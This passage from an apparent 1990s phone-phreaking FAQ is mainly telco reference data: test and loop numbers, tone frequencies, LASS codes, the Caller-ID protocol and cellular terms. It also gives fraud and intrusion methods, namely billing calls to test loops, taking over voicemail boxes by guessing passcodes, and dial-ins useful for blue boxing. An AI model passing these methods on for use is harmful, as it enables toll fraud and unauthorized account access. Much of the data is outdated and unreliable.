513 99?-xxxx Cincinnati/Dayton, OH (X=0, 1, 2, 3, 4, 8 or 9)
N 515 559-XXXX Des Moines, IA
516 660-xxx-xxxx Hempstead/Long Island, NY
601 777-xxxx MS
609 55?-xxxx Atlantic City/Camden/Trenton/Vineland, NJ
610 811-xxxx Allentown/Reading, PA
612 511 Minneapolis/St.Paul, MN
612 999-xxx-xxxx Minneapolis/St.Paul, MN
N 613 999-xxx-xxxx Ottawa, Ontario
614 998-xxxx Columbus/Steubenville, OH
615 920-XXXX Chatanooga/Knoxville/Nashville, TN
615 930-xxxx Chatanooga/Knoxville/Nashville, TN
616 946-xxxx Battle Creek/Grand Rapids/Kalamazoo, MI
619 331-xxxx San Diego, CA
619 332-xxxx San Diego, CA
N 659 981-XXXX Newmarket, NH
N 703 511-xxx-xxxx VA
703 958-xxxx Alexandria/Arlington/Roanoke, VA
708 511-xxxx Chicago/Elgin, IL
N 713 231-xxxx Los Angeles, CA
714 330? Anaheim, CA (GTE)
714 33?-xxxx Anaheim, CA (PacBell)
716 981-xxxx Rochester, NY (Rochester Tel)
718 660-xxxx Bronx/Brooklyn/Queens/Staten Island, NY
719 99x-xxxx Colorado Springs/Leadville/Pueblo, CO
801 938-xxxx Utah
801 939-xxxx Utah
802 987-xxxx Vermont
804 260 Charlottesville/Newport News/Norfolk/Richmond, VA
805 114 Bakersfield/Santa Barbara, CA
805 980-xxxx Bakersfield/Santa Barbara, CA
810 951-xxx-xxxx Pontiac/Southfield/Troy, MI
813 711 Ft. Meyers/St. Petersburg/Tampa, FL
817 971 Ft. Worth/Waco, TX (Flashhook, then 2#)
906 951-xxx-xxxx Marquette/Sault Ste. Marie, MI
908 55?-xxxx New Brunswick, NJ
908 953 New Brunswick, NJ
913 951-xxxx Lawrence/Salina/Topeka, KS
914 660-xxxx-xxxx Peekskill/Poughkeepsie/White Plains/Yonkers, NY

204 590-xxx-xxxx Manitoba
416 57x-xxxx Toronto, Ontario
416 99x-xxxx Toronto, Ontario
416 999-xxx-xxxx Toronto, Ontario
506 572+xxx-xxxx New Brunswick
514 320-xxx-xxxx Montreal, Quebec
519 999-xxx-xxxx London, Ontario
N 604 311-xxx-xxxx British Columbia
613 999-xxx-xxxx Ottawa, Ontario
705 999-xxx-xxxx North Bay/Saulte Ste. Marie, Ontario
N 819 320-xxx-xxxx Quebec
N 905 999-xxx-xxxx Hamilton/Mississauga/Niagra Falls, Ontario

Australia: +61 199
Brazil: 109 or 199
N France: 3644
Holland: 99-xxxxxx
New Zealand: 137
Sweden: 0058
United Kingdom: 174 or 1744 or 175 or 0500-89-0011
N Amsterdam 0196
N Hilversum 0123456789
N Breukelen 0123456789
N Groningen 951

14. What is a loop?

This FAQ answer is excerpted from: ToneLoc v0.99 User Manual
by Minor Threat & Mucho Maas

Loops are a pair of phone numbers, usually consecutive, like 836-9998
and 836-9999. They are used by the phone company for testing. What
good do loops do us? Well, they are cool in a few ways. Here is a
simple use of loops. Each loop has two ends, a 'high' end, and a
'low' end. One end gives a (usually) constant, loud tone when it is
called. The other end is silent. Loops don't usually ring either.
When BOTH ends are called, the people that called each end can talk
through the loop. Some loops are voice filtered and won't pass
anything but a constant tone; these aren't much use to you. Here's
what you can use working loops for: billing phone calls! First, call
the end that gives the loud tone. Then if the operator or someone
calls the other end, the tone will go quiet. Act like the phone just
rang and you answered it ... say "Hello", "Allo", "Chow", "Yo", or
what the fuck ever. The operator thinks that she just called you, and
that's it! Now the phone bill will go to the loop, and your local
RBOC will get the bill! Use this technique in moderation, or the loop
may go down. Loops are probably most useful when you want to talk to
someone to whom you don't want to give your phone number.

15. What is a loop in my area?

Many of these loops are no longer functional. If you are local
to any of these loops, please try them out an e-mail me the results
of your research.

NPA High Low
--- -------- --------
201 666-9929 666-9930
208 862-9996 862-9997
209 732-0044 732-0045
201 666-9929 666-9930
213 360-1118 360-1119
213 365-1118 365-1119
213 455-0002 455-XXXX
213 455-0002 455-xxxx
213 546-0002 546-XXXX
213 546-0002 546-xxxx
213 549-1118 549-1119
305 964-9951 964-9952
307 468-9999 468-9998
308 357-0004 357-0005
312 262-9902 262-9903
313 224-9996 224-9997
313 225-9996 225-9997
313 234-9996 234-9997
313 237-9996 237-9997
313 256-9996 256-9997
313 272-9996 272-9997
313 273-9996 273-9997
313 277-9996 277-9997
313 281-9996 281-9997
313 292-9996 292-9997
313 299-9996 299-9997
313 321-9996 321-9997
313 326-9996 326-9997
313 356-9996 356-9997
313 362-9996 362-9997
313 369-9996 369-9997
313 388-9996 388-9997
313 397-9996 397-9997
313 399-9996 399-9997
313 445-9996 445-9997
313 465-9996 465-9997
313 471-9996 471-9997
313 474-9996 474-9997
313 477-9996 477-9997
313 478-9996 478-9997
313 483-9996 483-9997
313 497-9996 497-9997
313 526-9996 526-9997
313 552-9996 552-9997
313 556-9996 556-9997
313 561-9996 561-9997
313 569-9996 569-9996
313 575-9996 575-9997
313 577-9996 577-9997
313 585-9996 585-9997
313 591-9996 591-9997
313 621-9996 621-9997
313 626-9996 626-9997
313 644-9996 644-9997
313 646-9996 646-9997
313 647-9996 647-9997
313 649-9996 649-9997
313 663-9996 663-9997
313 665-9996 665-9997
313 683-9996 683-9997
313 721-9996 721-9997
313 722-9996 722-9997
313 728-9996 728-9997
313 731-9996 731-9997
313 751-9996 751-9997
313 776-9996 776-9997
313 781-9996 781-9997
313 787-9996 787-9997
313 822-9996 822-9997
313 833-9996 833-9997
313 851-9996 851-9997
313 871-9996 871-9997
313 875-9996 875-9997
313 886-9996 886-9997
313 888-9996 888-9997
313 898-9996 898-9997
313 934-9996 934-9997
313 942-9996 942-9997
313 963-9996 963-9997
313 977-9996 977-9997
315 673-9995 673-9996
315 695-9995 695-9996
402 422-0001 422-0002
402 422-0003 422-0004
402 422-0005 422-0006
402 422-0007 422-0008
402 572-0003 572-0004
402 779-0004 779-0007
406 225-9902 225-9903
N 408 238-0044 238-0045
N 408 272-0044 272-0045
N 408 729-0044 729-0045
N 408 773-0044 773-0045
N 408 926-0044 926-0045
517 422-9996 422-9997
517 423-9996 423-9997
517 455-9996 455-9997
517 563-9996 563-9997
517 663-9996 663-9997
517 851-9996 851-9997
609 921-9929 921-9930
609 994-9929 994-9930
613 966-1111
616 997-9996 997-9997
708 724-9951 724-????
713 224-1499 759-1799
713 324-1499 324-1799
713 342-1499 342-1799
713 351-1499 351-1799
713 354-1499 354-1799
713 356-1499 356-1799
713 442-1499 442-1799
713 447-1499 447-1799
713 455-1499 455-1799
713 458-1499 458-1799
713 462-1499 462-1799
713 466-1499 466-1799
713 468-1499 468-1799
713 469-1499 469-1799
713 471-1499 471-1799
713 481-1499 481-1799
713 482-1499 482-1799
713 484-1499 484-1799
713 487-1499 487-1799
713 489-1499 489-1799
713 492-1499 492-1799
713 493-1499 493-1799
713 524-1499 524-1799
713 526-1499 526-1799
713 555-1499 555-1799
713 661-1499 661-1799
713 664-1499 664-1799
713 665-1499 665-1799
713 666-1499 666-1799
713 667-1499 667-1799
713 682-1499 976-1799
713 771-1499 771-1799
713 780-1499 780-1799
713 781-1499 997-1799
713 960-1499 960-1799
713 977-1499 977-1799
713 988-1499 988-1799
N 719 598-0009 598-0010
805 528-0044 528-0045
805 544-0044 544-0045
805 773-0044 773-0045
808 235-9907 235-9908
808 239-9907 239-9908
808 245-9907 245-9908
808 247-9907 247-9908
808 261-9907 261-9908
808 322-9907 322-9908
808 328-9907 328-9908
808 329-9907 329-9908
808 332-9907 332-9908
808 335-9907 335-9908
808 572-9907 572-9908
808 623-9907 623-9908
808 624-9907 624-9908
808 668-9907 668-9908
808 742-9907 742-9908
808 879-9907 879-9908
808 882-9907 882-9908
808 885-9907 885-9908
808 959-9907 959-9908
808 961-9907 961-9908
810 362-9996 362-9997
813 385-9971 385-xxxx
908 254-9929 254-9930
908 558-9929 558-9930
908 560-9929 560-9930
908 776-9930 776-9930

16. What is a CNA number?

CNA stands for Customer Name and Address. The CNA number is a phone
number for telephone company personnel to call and get the name and
address for a phone number. If a telephone lineman finds a phone line
he does not recognize, he can use the ANI number to find its phone
number and then call the CNA operator to see who owns it and where
they live.

Normal CNA numbers are available only to telephone company personnel.
Private citizens may legally get CNA information from private
companies. Two such companies are:

Unidirectory (900)933-3330
Telename (900)884-1212

Note that these are 900 numbers, and will cost you approximately one
dollar per minute.

If you are in 312 or 708, AmeriTech has a pay-for-play CNA service
available to the general public. The number is 796-9600. The cost is
$.35/call and can look up two numbers per call.

If you are in 415, Pacific Bell offers a public access CNL service at

If you are in Bell Atlantic territory you can call (201)555-5454 or
(908)555-5454 for automated CNA information. The cost is $.50/call.

17. What is the telephone company CNA number for my area?

203 (203)771-8080 CT
312 (312)796-9600 Chicago, IL
506 (506)555-1313 New Brunswick
513 (513)397-9110 Cincinnati/Dayton, OH
516 (516)321-5700 Hempstead/Long Island, NY
614 (614)464-0123 Columbus/Steubenville, OH
813 (813)270-8711 Ft. Meyers/St. Petersburg/Tampa, FL
NYNEX (518)471-8111 New York, Connecticut, Vermont, Rhode
Island, New Hampshire, and Massachusetts

18. What are some numbers that always ring busy?

In the following listings, "xxx" means that the same number is used as a
constantly busy number in many different prefixes. In most of these,
there are some exchanges that ring busy and some exchanges that are in
normal use. *ALWAYS* test these numbers at least three times during
normal business hours before using as a constantly busy number.

N 800 999-1803 WATS
N 201 635-9970 Hackensack/Jersey City/Newark/Paterson, NJ
N 212 724-9970 Manhattan, NY
N 213 xxx-1117 Los Angeles, CA
N 213 xxx-1118 Los Angeles, CA
N 213 xxx-1119 Los Angeles, CA
N 213 xxx-9198 Los Angeles, CA
216 xxx-9887 Akron/Canton/Cleveland/Lorain/Youngstown, OH
303 431-0000 Denver, CO
303 866-8660 Denver, CO
N 310 xxx-1117 Long Beach, CA
N 310 xxx-1118 Long Beach, CA
N 310 xxx-1119 Long Beach, CA
N 310 xxx-9198 Long Beach, CA
316 952-7265 Dodge City/Wichita, KS
501 377-99xx AR
U 719 472-3772 Colorado Springs/Leadville/Pueblo, CO
805 255-0699 Bakersfield/Santa Barbara, CA
N 714 xxx-1117 Anaheim, CA
N 714 xxx-1118 Anaheim, CA
N 714 xxx-1119 Anaheim, CA
N 714 xxx-9198 Anaheim, CA
N 717 292-0009 Harrisburg/Scranton/Wilkes-Barre, PA
N 818 xxx-1117 Pasadena, CA
N 818 xxx-1118 Pasadena, CA
N 818 xxx-1119 Pasadena, CA
N 818 xxx-9198 Pasadena, CA
U 818 885-0699 Pasadena, CA (???-0699 is a pattern)
N 860 525-7078 Hartford, CT
906 632-9999 Marquette/Sault Ste. Marie, MI
906 635-9999 Marquette/Sault Ste. Marie, MI

19. What are some numbers that temporarily disconnect phone service?

If your NPA is not listed, or the listing does not cover your LATA,
try common numbers such as 119 (GTD5 switches) or 511.

314 511 Columbia/Jefferson City/St.Louis, MO (1 minute)
404 420 Atlanta, GA (5 minutes)
405 953 Enid/Oklahoma City, OK (1 minute)
U 407 511 Orlando, FL (United Telephone) (1 minute)
N 414 958-0013 Fond du Lac/Green Bay/Milwaukee/Racine, WI (1 minute)
512 200 Austin/Corpus Christi, TX (1 minute)
516 480 Hempstead/Long Island, NY (1 minute)
603 980 NH
614 xxx-9894 Columbus/Steubenville, OH
805 119 Bakersfield/Santa Barbara, CA (3 minutes)
919 211 or 511 Durham, NC (10 min - 1 hour)

20. What is a Proctor Test Set?

A Proctor Test Set is a tool used by telco personnel to diagnose
problems with phone lines. You call the Proctor Test Set number and
press buttons on a touch tone phone to active the tests you select.

21. What is a Proctor Test Set in my area?

If your NPA is not listed try common numbers such as 111 or 117.

805 111 Bakersfield/Santa Barbara, CA
909 117 Tyler, TX
913 611-1111 Lawrence/Salina/Topeka, KS

22. What is scanning?

Scanning is dialing a large number of telephone numbers in the hope
of finding interesting carriers (computers) or tones.

Scanning can be done by hand, although dialing several thousand
telephone numbers by hand is extremely boring and takes a long time.

Much better is to use a scanning program, sometimes called a war
dialer or a demon dialer. Currently, the best war dialer available to
PC-DOS users is ToneLoc from Minor Threat and Mucho Maas. ToneLoc can
be ftp'd from ftp.paranoia.com /pub/toneloc/.

A war dialer will dial a range of numbers and log what it finds at
each number. You can then only dial up the numbers that the war
dialer marked as carriers or tones.

23. Is scanning illegal?

Excerpt from: 2600, Spring 1990, Page 27:

In some places, scanning has been made illegal. It would be hard,
though, for someone to file a complaint against you for scanning since
the whole purpose is to call every number once and only once. It's
not likely to be thought of as harassment by anyone who gets a single
phone call from a scanning computer. Some central offices have been
known to react strangely when people start scanning. Sometimes you're
unable to get a dialtone for hours after you start scanning. But
there is no uniform policy. The best thing to do is to first find out
if you've got some crazy law saying you can't do it. If, as is
likely, there is no such law, the only way to find out what happens is
to give it a try.

It should be noted that a law making scanning illegal was recently
passed in Colorado Springs, CO. It is now illegal to place a call
in Colorado Springs without the intent to communicate.

24. Where can I purchase a lineman's handset?

Contact East
335 Willow Street
North Andover, MA 01845-5995

Jensen Tools
7815 S. 46th Street
Phoenix, AZ 85044-5399

Specialized Products
3131 Premier Drive
Irving, TX 75063

Time Motion Tools
12778 Brookprinter Place
Poway, CA 92064

25. What are the DTMF frequencies?

DTMF stands for Dual Tone Multi Frequency. These are the tones you get
when you press a key on your telephone touch pad. The tone of the
button is the sum of the column and row tones. The ABCD keys do not
exist on standard telephones.

1209 1336 1477 1633

697 1 2 3 A

770 4 5 6 B

852 7 8 9 C

941 * 0 # D

26. What are the frequencies of the telephone tones?

Type Hz On Off
Dial Tone 350 & 440 --- ---
Busy Signal 480 & 620 0.5 0.5
Toll Congestion 480 & 620 0.2 0.3
Ringback (Normal) 440 & 480 2.0 4.0
Ringback (PBX) 440 & 480 1.5 4.5
Reorder (Local) 480 & 620 3.0 2.0
Invalid Number 200 & 400
Hang Up Warning 1400 & 2060 0.1 0.1
Hang Up 2450 & 2600 --- ---

27. What are all of the * (LASS) codes?

Local Area Signalling Services (LASS) and Custom Calling Feature
Control Codes:

(These appear to be standard, but may be changed locally)

Service Tone Pulse/rotary Notes
Assistance/Police *12 n/a [1]
Cancel forwarding *30 n/a [C1]
Automatic Forwarding *31 n/a [C1]
Notify *32 n/a [C1] [2]
Intercom Ring 1 (..) *51 1151 [3]
Intercom Ring 2 (.._) *52 1152 [3]
Intercom Ring 3 (._.) *53 1153 [3]
Extension Hold *54 1154 [3]
Customer Originated Trace *57 1157
Selective Call Rejection *60 1160 (or Call Screen)
Selective Distinct Alert *61 1161
Selective Call Acceptance *62 1162
Selective Call Forwarding *63 1163
ICLID Activation *65 1165
Call Return (outgoing) *66 1166
Number Display Blocking *67 1167 [4]
Computer Access Restriction *68 1168
Call Return (incoming) *69 1169
Call Waiting disable *70 1170 [4]
No Answer Call Transfer *71 1171
Usage Sensitive 3 way call *71 1171
Call Forwarding: start *72 or 72# 1172
Call Forwarding: cancel *73 or 73# 1173
Speed Calling (8 numbers) *74 or 74# 1174
Speed Calling (30 numbers) *75 or 75# 1175
Anonymous Call Rejection *77 1177 [5] [M: *58]
Call Screen Disable *80 1180 (or Call Screen) [M: *50]
Selective Distinct Disable *81 1181 [M: *51]
Select. Acceptance Disable *82 1182 [4] [7]
Select. Forwarding Disable *83 1183 [M: *53]
ICLID Disable *85 1185
Call Return (cancel out) *86 1186 [6] [M: *56]
Anon. Call Reject (cancel) *87 1187 [5] [M: *68]
Call Return (cancel in) *89 1189 [6] [M: *59]


[C1] - Means code used for Cellular One service
[1] - for cellular in Pittsburgh, PA A/C 412 in some areas
[2] - indicates that you are not local and maybe how to reach you
[3] - found in Pac Bell territory; Intercom ring causes a distinctive
ring to be generated on the current line; Hold keeps a call
connected until another extension is picked up
[4] - applied once before each call
[5] - A.C.R. blocks calls from those who blocked Caller ID
(used in C&P territory, for instance)
[6] - cancels further return attempts
[7] - *82 (1182) has been mandated to be the nationwide code for
"Send CLID info regardless of the default setting on this
phone line."
[M: *xx] - alternate code used for MLVP (multi-line variety package)
by Bellcore. It goes by different names in different RBOCs.
In Bellsouth it is called Prestige. It is an arrangement of
ESSEX like features for single or small multiple line groups.

The reason for different codes for some features in MLVP is that
call-pickup is *8 in MLVP so all *8x codes are reassigned *5x

28. What frequencies do cordless phones operate on?

Here are the frequencies for the first generation 46/49mhz phones.

Channel Handset Transmit Base Transmit
------- ---------------- -------------
1 49.670mhz 46.610mhz
2 49.845 46.630
3 49.860 46.670
4 49.770 46.710
5 49.875 46.730
6 49.830 46.770
7 49.890 46.830
8 49.930 46.870
9 49.990 46.930
10 49.970 46.970

The new "900mhz" cordless phones have been allocated the frequencies
between 902-228MHz, with channel spacing between 30-100KHz.

Following are some examples of the frequencies used by phones
currently on the market.

Panasonic KX-T9000 (60 Channels)
base 902.100 - 903.870 Base frequencies (30Khz spacing)
handset 926.100 - 927.870 Handset frequencies
-- ------- ------- -- ------- ------- -- ------- -------
01 902.100 926.100 11 902.400 926.400 21 902.700 926.700
02 902.130 926.130 12 902.430 926.430 22 902.730 926.730
03 902.160 926.160 13 902.460 926.460 23 902.760 926.760
04 902.190 926.190 14 902.490 926.490 24 902.790 926.790
05 902.220 926.220 15 902.520 926.520 25 902.820 926.820
06 902.250 926.250 16 902.550 926.550 26 902.850 926.850
07 902.280 926.280 17 902.580 926.580 27 902.880 926.880
08 902.310 926.310 18 902.610 926.610 28 902.910 926.910
09 902.340 926.340 19 902.640 926.640 29 902.940 926.940
10 902.370 926.370 20 902.670 926.670 30 902.970 926.970

31 903.000 927.000 41 903.300 927.300 51 903.600 927.600
32 903.030 927.030 42 903.330 927.330 52 903.630 927.630
33 903.060 927.060 43 903.360 927.360 53 903.660 927.660
34 903.090 927.090 44 903.390 927.390 54 903.690 927.690
35 903.120 927.120 45 903.420 927.420 55 903.720 927.720
36 903.150 927.150 46 903.450 927.450 56 903.750 927.750
37 903.180 927.180 47 903.480 927.480 57 903.780 927.780
38 903.210 927.210 48 903.510 927.510 58 903.810 927.810
39 903.240 927.240 49 903.540 927.540 59 903.840 927.840
40 903.270 927.270 50 903.570 927.570 60 903.870 927.870



-- ------- ------- -- ------- ------- -- ------- -------
01 905.600 925.500 08 906.300 926.200 15 907.000 926.900
02 905.700 925.600 09 906.400 926.300 16 907.100 927.000
03 905.800 925.700 10 906.500 926.400 17 907.200 927.100
04 905.900 925.800 11 906.600 926.500 18 907.300 927.200
05 906.000 925.900 12 906.700 926.600 19 907.400 927.300
06 906.100 926.000 13 906.800 926.700 20 907.500 927.400
07 906.200 926.100 14 906.900 926.800

Other 900mhz cordless phones
AT&T #9120 - - - - - 902.0 - 905.0 & 925.0 - 928.0 MHZ
OTRON CORP. #CP-1000 902.1 - 903.9 & 926.1 - 927.9 MHZ
SAMSUNG #SP-R912- - - 903.0 & 927.0 MHZ


29. What is Caller-ID?

This FAQ answer is stolen from Rockwell:

Calling Number Delivery (CND), better known as Caller ID, is a
telephone service intended for residential and small business
customers. It allows the called Customer Premises Equipment (CPE) to
receive a calling party's directory number and the date and time of
the call during the first 4 second silent interval in the ringing

The data signalling interface has the following characteristics:

Link Type: 2-wire, simplex
Transmission Scheme: Analog, phase-coherent FSK
Logical 1 (mark) 1200 +/- 12 Hz
Logical 0 (space) 2200 +/- 22 Hz
Transmission Rate: 1200 bps
Transmission Level: 13.5 +/- dBm into 900 ohm load

The protocol uses 8-bit data words (bytes), each bounded by a start
bit and a stop bit. The CND message uses the Single Data Message
format shown below.

| Channel | Carrier | Message | Message | Data | Checksum |
| Seizure | Signal | Type | Length | Word(s) | Word |
| Signal | | Word | Word | | |

Channel Seizure Signal
The channel seizure is 30 continuous bytes of 55h (01010101) providing
a detectable alternating function to the CPE (i.e. the modem data

Carrier Signal
The carrier signal consists of 130 +/- 25 mS of mark (1200 Hz) to
condition the receiver for data.

Message Type Word
The message type word indicates the service and capability associated
with the data message. The message type word for CND is 04h

Message Length Word
The message length word specifies the total number of data words to

Data Words
The data words are encoded in ASCII and represent the following

o The first two words represent the month
o The next two words represent the day of the month
o The next two words represent the hour in local military time
o The next two words represent the minute after the hour
o The calling party's directory number is represented by the
remaining words in the data word field

If the calling party's directory number is not available to the
terminating central office, the data word field contains an ASCII "O".
If the calling party invokes the privacy capability, the data word
field contains an ASCII "P".

Checksum Word
The Checksum Word contains the twos complement of the modulo 256 sum
of the other words in the data message (i.e., message type, message
length, and data words). The receiving equipment may calculate the
modulo 256 sum of the received words and add this sum to the received
checksum word. A result of zero generally indicates that the message
was correctly received. Message retransmission is not supported.

Example CNS Single Data Message
An example of a received CND message, beginning with the message type
word, follows:

04 12 30 39 33 30 31 32 32 34 36 30 39 35 35 35 31 32 31 32 51

04h= Calling number delivery information code (message type word)
12h= 18 decimal; Number of data words (date,time, and directory
number words)
ASCII 30,39= 09; September
ASCII 33,30= 30; 30th day
ASCII 31,32= 12; 12:00 PM
ASCII 32,34= 24; 24 minutes (i.e., 12:24 PM)
ASCII 36,30,39,35,35,35,31,32,31,32= (609) 555-1212; calling
party's directory number
51h= Checksum Word

Data Access Arrangement (DAA) Requirements
To receive CND information, the modem monitors the phone line between
the first and second ring bursts without causing the DAA to go off
hook in the conventional sense, which would inhibit the transmission
of CND by the local central office. A simple modification to an
existing DAA circuit easily accomplishes the task.

Modem Requirements
Although the data signalling interface parameters match those of a
Bell 202 modem, the receiving CPE need not be a Bell 202 modem. A
V.23 1200 bps modem receiver may be used to demodulate the Bell 202
signal. The ring indicate bit (RI) may be used on a modem to indicate
when to monitor the phone line for CND information. After the RI bit
sets, indicating the first ring burst, the host waits for the RI bit
to reset. The host then configures the modem to monitor the phone
line for CND information.

According to Bellcore specifications, CND signalling starts as early
as 300 mS after the first ring burst and ends at least 475 mS before
the second ring burst

Once CND information is received the user may process the information
in a number of ways.

1. The date, time, and calling party's directory number can be

2. Using a look-up table, the calling party's directory number can be
correlated with his or her name and the name displayed.

3. CND information can also be used in additional ways such as for:

a. Bulletin board applications
b. Black-listing applications
c. Keeping logs of system user calls, or
d. Implementing a telemarketing data base

For more information on Calling Number Delivery (CND), refer to
Bellcore publications TR-TSY-000030 and TR-TSY-000031.

To obtain Bellcore documents contact:

Bellcore Customer Service
60 New England Avenue, Room 1B252
Piscataway, NJ 08834-4196
(908) 699-5800

30. How do I block Caller-ID?

Always test as much as possible before relying on any method of blocking
Caller-ID. Some of these methods work in some areas, but not in others.

Dial *67 before you dial the number. (141 in the United Kingdom)
Dial your local TelCo and have them add Caller-ID block to your line.
Dial the 0 Operator and have him or her place the call for you.
Dial the call using a pre-paid phone card.
Dial through Security Consultants at (900)PREVENT for U.S. calls
($1.99/minute) or (900)STONEWALL for international calls ($3.99/minute).
Dial from a pay phone. :-)

31. What is a PBX?

A PBX is a Private Branch Exchange. A PBX is a small telephone switch
owned by a company or organization. Let's say your company has a
thousand employees. Without a PBX, you would need a thousand phone
lines. However, only 10% of your employees are talking on the phone
at one time. What if you had a computer that automatically found an
outside line every time one of your employees picked up the telephone.
With this type of system, you could get by with only paying for one
hundred phone lines. This is a PBX.

32. What is a VMB?

A VMB is a Voice Mail Box. A VMB is a computer that acts as an
answering machine for hundreds or thousands of users. Each user will
have their own Voice Mail Box on the system. Each mail box will have
a box number and a pass code.

Without a passcode, you will usually be able to leave messages to
users on the VMB system. With a passcode, you can read messages and
administer a mailbox. Often, mailboxes will exist that were created
by default or are no longer used. These mailboxes may be taken over
by guessing their passcode. Often the passcode will be the mailbox
number or a common number such as 1234.

33. What are the ABCD tones for?

The ABCD tones are simply additional DTFM tones that may be used in any
way the standard (0-9) tones are used. The ABCD tones are used in the
U.S. military telephone network (AutoVon), in some Automatic Call
Distributor (ACD) systems, for control messages in some PBX systems, and
in some amateur radio auto-patches.

In the AutoVon network, special telephones are equipped with ABCD keys.
The ABCD keys are defined as such:

A - Flash
B - Flash override priority
C - Priority communication
D - Priority override

Using a built-in maintenance mode of the Automatic Call Distributor
(ACD) systems once used by Directory Assistance operators, you could
connect two callers together.

The purpose of the Silver Box is to create the ABCD tones.

See also "What are the DTMF Frequencies?"

34. What are the International Direct Numbers?

The numbers are used so that you may connect to an operator from a
foreign telephone network, without incurring long distance charges.
These numbers may be useful in blue boxing, as many countries still have
older switching equipment in use.

Australia (800)682-2878
Austria (800)624-0043
Belgium (800)472-0032
Belize (800)235-1154
Bermuda (800)232-2067
Brazil (800)344-1055
British VI (800)278-6585
Cayman (800)852-3653
Chile (800)552-0056
China (Shanghai) (800)532-4462
Costa Rica (800)252-5114
Denmark (800)762-0045
El Salvador (800)422-2425
Finland (800)232-0358
France (800)537-2623
Germany (800)292-0049
Greece (800)443-5527
Guam (800)367-4826
HK (800)992-2323
Hungary (800)352-9469
Indonesia (800)242-4757
Ireland (800)562-6262
Italy (800)543-7662
Japan (800)543-0051
Korea (800)822-8256
Macau (800)622-2821
Malaysia (800)772-7369
Netherlands (800)432-0031
Norway (800)292-0047
New Zealand (800)248-0064
Panama (800)872-6106
Portugal (800)822-2776
Philippines (800)336-7445
Singapore (800)822-6588
Spain (800)247-7246
Sweden (800)345-0046
Taiwan (800)626-0979
Thailand (800)342-0066
Turkey (800)828-2646
UK (800)445-5667
Uruguay (800)245-8411
Yugoslavia (800)367-9842 (Belgrade)
367-9841 (Zagreb)
USA from outside (800)874-4000 Ext. 107

Section C: Cellular


01. What is an MTSO?

MTSO stands for Mobile Telephone Switching Office. The MTSO is the
switching office that connects all of the individual cell towers to the
Central Office (CO).

The MTSO is responsible for monitoring the relative signal strength of
your cellular phone as reported by each of the cell towers, and
switching your conversation to the cell tower which will give you the
best possible reception.

02. What is a NAM?

NAM stands for Number Assignment Module. The NAM is the EPROM that
holds information such as the MIN and SIDH. Cellular fraud is committed
by modifying the information stored in this component.

03. What is an ESN?

ESN stands for Electronic Serial Number. The is the serial number of
your cellular telephone.

04. What is an MIN?

MIN stands for Mobile Identification Number. This is the phone number
of the cellular telephone.

05. What is a SCM?

SCM stands for Station Class Mark. The SCM is a 4 bit number which
holds three different pieces of information. Your cellular telephone
transmits this information (and more) to the cell tower. Bit 1 of the
SCM tells the cell tower whether your cellphone uses the older 666
channel cellular system, or the newer 832 channel cellular system. The
expansion to 832 channels occured in 1988. Bit 2 tells the cellular
system whether your cellular telephone is a mobile unit or a voice
activated cellular telephone. Bit's 3 and 4 tell the cell tower what
power your cellular telephone should be transmitting on.

Bit 1: 0 == 666 channels
1 == 832 channels

Bit 2: 0 == Mobile cellular telephone
1 == Voice activated cellular telephone

Bit 3/4: 00 == 3.0 watts (Mobiles)
01 == 1.2 watts (Transportables)
10 == .06 watts (Portables)
11 == Reserved for future use

06. What is a SIDH?

SIDH stands for System Identification for Home System. The SIDH in your
cellular telephone tells the cellular system what area your cellular
service originates from. This is used in roaming (making cellular calls
when in an area not served by your cellular provider).

Every geographical region has two SIDH codes, one for the wireline
carrier and one for the nonwireline carrier. These are the two
companies that are legally allowed to provide cellular telephone service
in that region. The wireline carrier is usually your local telephone
company, while the nonwireline carrier will be another company. The
SIDH for the wireline carrier is always an even number, while the SIDH
for the nonwireline carrier is always an odd number. The wireline
carrier is also known as the Side-B carrier and the non-wireline carrier
is also known as the Side-A carrier.

07. What are the forward/reverse channels?

Forward channels are the frequencies the cell towers use to talk to your
cellular telephone. Reverse channels are the frequencies your cellular
telephone uses to talk to the cell towers.

The forward channel is usually 45 mhz above the reverse channel. For
example, if the reverse channel is at 824 mhz, the forward channel would
be at 869 mhz.

Section D: Resources


01. What are some ftp sites of interest to hackers?

N /pub/dmackey
2600.com (2600 Magazine)
aeneas.mit.edu (Kerberos)
alex.sp.cs.cmu.edu /links/security (Misc)
asylum.sf.ca.us (CyberWarriors of Xanadu)
N atari.archive.umich.edu /pub/atari/Utilities/pgp261st.zip (Atari PGP)
athena-dist.mit.edu /pub/ATHENA (Athena Project)
atlantis.utmb.edu (Anti-virus)
bellcore.com (Bellcore)
cert.org (CERT)
ciac.llnl.gov (CIAC)
clark.net /pub/jcase (H/P)
cnit.nsk.su /pub/security (Security)
coast.cs.purdue.edu /pub (Security/COAST)
coombs.anu.edu.au /pub/security (Security)
csrc.ncsl.nist.gov (NIST Security)
dartmouth.edu /pub/security (Security)
ds.internic.net (Internet documents)
N dutiws.twi.tudelft.nl /pub/novell
etext.archive.umich.edu /pub/Zines/PrivateLine (PrivateLine)
N fastlane.net /pub/nomad
ftp.3com.com /pub/Orange-Book (Orange Book)
ftp.acns.nwu.edu /pub (Mac Anti-virus)
ftp.acsu.buffalo.edu /pub/security & /pub/irc (Security & IRC)
ftp.alantec.com /pub/tcpr (Tcpr)
ftp.armory.com /pub/user/kmartind (H/P)
ftp.armory.com /pub/user/swallow (H/P)
ftp.auscert.org.au /pub (Australian CERT)
ftp.cerf.net /pub/software/unix/security (CERFnet)
ftp.cert.dfn.de (FIRST)
ftp.cisco.com (Cisco)
ftp.commerce.net /pub/standards/drafts/shttp.txt (Secure HyperText)
ftp.cs.ruu.nl /pub/SECURITY (Security & PGP)
ftp.cs.uwm.edu /pub/comp-privacy (Privacy Digest)
ftp.csi.forth.gr /pub/security
ftp.csl.sri.com /pub/nides (SRI)
ftp.csn.org /mpj (Cryptology)
ftp.csua.berkeley.edu /pub/cypherpunks (Crypto)
N ftp.demon.co.uk /pub/misc/0800num.txt (0800/0500 numbers)
ftp.denet.dk /pub/security/tools/satan
ftp.digex.net /pub/access/dunk
ftp.dsi.unimi.it /pub/security/crypt (Crypto)
ftp.dstc.edu.au /pub/security/satan
ftp.eff.org /pub/Publications/CuD (EFF)
ftp.elelab.nsc.co.jp /pub/security (Security)
ftp.etext.org (Etext)
ftp.fc.net /pub/deadkat (TNO)
ftp.fc.net /pub/defcon (DefCon)
ftp.fc.net /pub/defcon/BBEEP (BlueBeep)
ftp.fc.net /pub/phrack (Phrack)
ftp.funet.fi /pub/doc/CuD
ftp.gate.net /pub/users/laura
ftp.gate.net /pub/users/wakko
